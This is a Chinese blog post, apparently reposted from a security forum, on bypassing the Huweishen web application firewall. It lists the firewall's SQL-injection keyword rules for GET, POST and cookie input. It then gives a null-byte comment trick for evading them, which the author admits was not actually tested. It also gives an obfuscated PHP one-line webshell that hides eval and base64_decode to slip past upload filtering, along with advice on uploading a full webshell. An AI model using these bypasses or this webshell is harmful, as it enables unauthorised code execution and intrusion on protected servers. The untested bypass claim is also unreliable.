上个礼拜很不给力,本来答应进行一个主题演讲的,后来只讲了burpsuite的一种用法。很对不起大家,这个礼拜的议题是绕过,虽然这次来的人比较少,不过会议还是得继续。分享依然是重要的….
这次我负责分析的是护卫神系统,怎么说,这玩意在关键字检测上确实很强大,检测规则可以自己添加,也可以按照官方下载的来。分析如下:
1、规则匹配
护卫神系统对三种提交参数的方式都进行了匹配,GET POST COOKIES。主要代码如下
GET方式匹配的数据有:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
*xp_cmdshell*
*and*db_name()*>*0*
*and*user*>*0*
*cacls.exe*:*
*exec*copy*
*insert*exec*
*bulk*insert*exec*
*select*is_srvrolemember*
*use*model*
*select*is_member*
*declare*sysname*
*xp_availablemedia*
*xp_dirtree*
*xp_terminate_process*
*sp_dropextendedproc*
*exec*sp_addlogin*
*xp_regdeletekey*
*exec*xp_regread*
*insert*temp*exec*
*exec*xp_regenumvalues*’*
*exec*xp_regwrite*’*
*exec*xp_regread*’*
*exec*xp_regdeletevalue*’*
*declare*@*char*
*exec*xp_regaddmultistring*’*
*exec*xp_regdeletekey*’*
*exec*xp_regenumvalues*’*
*exec*xp_regread*’*
*exec*xp_regremovemultistring*’*
*exec*xp_regwrite*’*
*declare*@*
*union*select*
*select*from*
*update*set*
|
POST方式匹配的参数有:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
*xp_cmdshell*
*and*db_name()*>*0*
*and*user*>*0*
*cacls.exe*:*
*exec*copy*
*insert*exec*
*bulk*insert*exec*
*select*is_srvrolemember*
*use*model*
*select*is_member*
*declare*sysname*
*xp_availablemedia*
*xp_dirtree*
*xp_terminate_process*
*sp_dropextendedproc*
*exec*sp_addlogin*
*xp_regdeletekey*
*exec*xp_regread*
*insert*temp*exec*
*exec*xp_regenumvalues*’*
*exec*xp_regwrite*’*
*exec*xp_regread*’*
*exec*xp_regdeletevalue*’*
*declare*@*char*
*exec*xp_regaddmultistring*’*
*exec*xp_regdeletekey*’*
*exec*xp_regenumvalues*’*
*exec*xp_regread*’*
*exec*xp_regremovemultistring*’*
*exec*xp_regwrite*’*
*declare*@*
*union*select*
*select*from*
|
cookie方式匹配的参数有:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
*xp_cmdshell*
*and*db_name()*>*0*
*and*user*>*0*
*cacls.exe*:*
*exec*copy*
*insert*exec*
*bulk*insert*exec*
*select*is_srvrolemember*
*use*model*
*select*is_member*
*declare*sysname*
*xp_availablemedia*
*xp_dirtree*
*xp_terminate_process*
*sp_dropextendedproc*
*exec*sp_addlogin*
*xp_regdeletekey*
*exec*xp_regread*
*insert*temp*exec*
*exec*xp_regenumvalues*’*
*exec*xp_regwrite*’*
*exec*xp_regread*’*
*exec*xp_regdeletevalue*’*
*declare*@*char*
*exec*xp_regaddmultistring*’*
*exec*xp_regdeletekey*’*
*exec*xp_regenumvalues*’*
*exec*xp_regread*’*
*exec*xp_regremovemultistring*’*
*exec*xp_regwrite*’*
*declare*@*
*union*select*
*select*from*
*update*set*
|
这些,基本上涵盖了所有我知道的注入方式,可以说很完美。
实测发现,绕过的方式还是有的,可以通过程序对%00这个截断符的操作,来进行截断,假设,我们在传递参数的时候,护卫神在处理%00的数据时,截断,会是什么情况呢,应该是不会有后面的数据,因此,我们可以打破规则,进行处理。
测试如下:
先在mysql数据库里面测试:
1
|
select/*%00*/* from admin;
|
返回结果,当然,如果在/**/里面加入感叹号,mysql会出不停的接收参数,所以不能用。我们用上面这句即可,php的版本合适的话 /*%00*/应该会作为参数进行传递进入数据据,而此时,护卫神系统已经无法识别规了。
当然,在测试的时候,本地搭建的环境有点问题,php没有成功加载mysql模块,一直无法测试实际的php处理是否正确,不过通过对fck上传的猜想,应该是成功利用的。
91ri.org这里介绍另外一种突破方法 详见:《突破护卫神之见招拆招》
2、上传规则
护卫神系统有上传保护的东西,发现,其实在post的数据中,不出现关键函数就可以直接绕过,只要上传成功,后台运行不会影响
可以利用:
1
2
3
4
5
|
$code=’xxx’;
$x=str_replace(‘f’,””,”bfafsfef6f4f_ffdffeffcffoffdffef”);
preg_replace(‘’a’eis’,’e’.’v’.’a’.’l’.’($x($code))’,’a’);
|
这种加密方式去进行绕过就好了。
如果是一句话的话,注意连接方式,不要用菜刀,菜刀肯定不行的。
在网页版的客户端吧,或者直接上传大马就好了。
更多突破护卫神的方法参考:《将代码换行绕过web保护系统》及《过护卫神PHP一句话》
作者conqu3r由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。
其它的还没有分析完,到时再增加内容吧,顺便整理下绕过注入的方式!
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号